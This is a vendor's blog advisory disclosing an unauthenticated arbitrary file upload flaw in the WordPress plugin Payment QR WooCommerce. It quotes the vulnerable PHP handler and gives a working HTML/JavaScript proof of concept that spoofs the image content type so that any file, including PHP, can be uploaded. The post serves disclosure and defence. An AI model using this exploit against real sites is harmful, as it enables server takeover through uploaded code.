18 Jun 2021

Our Proactive Monitoring Caught an Arbitrary File Upload Vulnerability in the WordPress Plugin Payment QR WooCommerce

One way we help to improve the security of WordPress plugins, not just for our customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that we caught one of the most serious issues, an arbitrary file upload vulnerability in the plugin Payment QR WooCommerce. That is a type of vulnerability that hackers are highly likely to exploit.

The possibility of this vulnerability was also flagged by our Plugin Security Checker and while reviewing this vulnerability we added an additional check that flags some of the insecure code that is in play here, so you can check plugins you use to see if they might have similar issues with that tool.

The plugin registers the function qr_code_insert() in the file /function.php to accessible through WordPress AJAX functionality to both those logged in to WordPress as well as those not logged in:

63
64
add_action( 'wp_ajax_add_qr_code', 'qr_code_insert' );
add_action( 'wp_ajax_nopriv_add_qr_code', 'qr_code_insert' );

That function handles a uploading a file. The function tries to limit those files to image types, but relies on the “type” of the file being sent to implement that restriction:

66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
function qr_code_insert(){
	$uploaddir 			= wp_upload_dir();
	$dir_name ='qrcode';
 
	//Check if the directory with the name already exists
	if ( !is_dir($uploaddir['basedir']."/".$dir_name ) ) {
		//Create our directory if it does not exist
		mkdir( $uploaddir['basedir']."/".$dir_name );
		$createfile = fopen($uploaddir['basedir']."/".$dir_name.'/index.html', 'wb');
	}
	$file = $_FILES['image'];
	$filename = $_FILES['image']['name'];
 
	$types = array('image/jpeg', 'image/png','image/jpg');
	if (in_array($_FILES['image']['type'], $types)) {
 
		$file_name = preg_replace('/\\.[^.\\s]{3,4}$/', '', $filename);
		$ext = pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION);
		$imagename = $file_name . time() . "." . $ext;
		move_uploaded_file($_FILES['image']['tmp_name'], $uploaddir['basedir']."/".$dir_name.'/'.$imagename);

The problem with that is that the “type” is user controlled information, so, for example, as the proof of concept below shows, you can upload a .php file, but say that it is an image file. Utilizing WordPress’ functions for handling uploads avoids this type of problem.

The file is uploaded to directory /wp-content/uploads/qr-code/ with a name that includes the current time on the server.

WordPress Causes Full Disclosure

Because of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.) You can notify the developer of this issue on the forum as well. Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/qr-code/.

Replace “[path to WordPress]” with the location of WordPress.

<head>
<script>
window.addEventListener('load', function () {
 var file = {
 dom : document.getElementById("file"),
 binary : null
 };
 
 var reader = new FileReader();
 
 reader.addEventListener("load", function () {
 file.binary = reader.result;
 });

 if(file.dom.files[0]) {
 reader.readAsBinaryString(file.dom.files[0]);
 }

 file.dom.addEventListener("change", function () {
 if(reader.readyState === FileReader.LOADING)
 reader.abort();
 reader.readAsBinaryString(file.dom.files[0]);
 });

 function sendData() {

 var xmlhttp = new XMLHttpRequest();
 var boundary = "blob";
 var data = "";
 data += "--" + boundary + "\r\n";
 data += 'content-disposition: form-data; '
 + 'name="image"; '
 + 'filename="' + file.dom.files[0].name + '"\r\n';
 data += 'Content-Type: image/png\r\n';
 data += '\r\n';
 data += file.binary + '\r\n';
 data += "--" + boundary + "--";
 xmlhttp.open('POST', 'http://[path to WordPress]/wp-admin/admin-ajax.php?action=add_qr_code');
 xmlhttp.setRequestHeader('Content-Type','multipart/form-data; boundary=' + boundary);
 xmlhttp.send(data);
alert('file upload attempted');
 }

 var form = document.getElementById("form");

 form.addEventListener('submit', function (event) {
 sendData();

 });
});
</script>
</head>
<body>
<form id="form">
<input id="file" name="file" type="file">
<button>Submit</button>
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.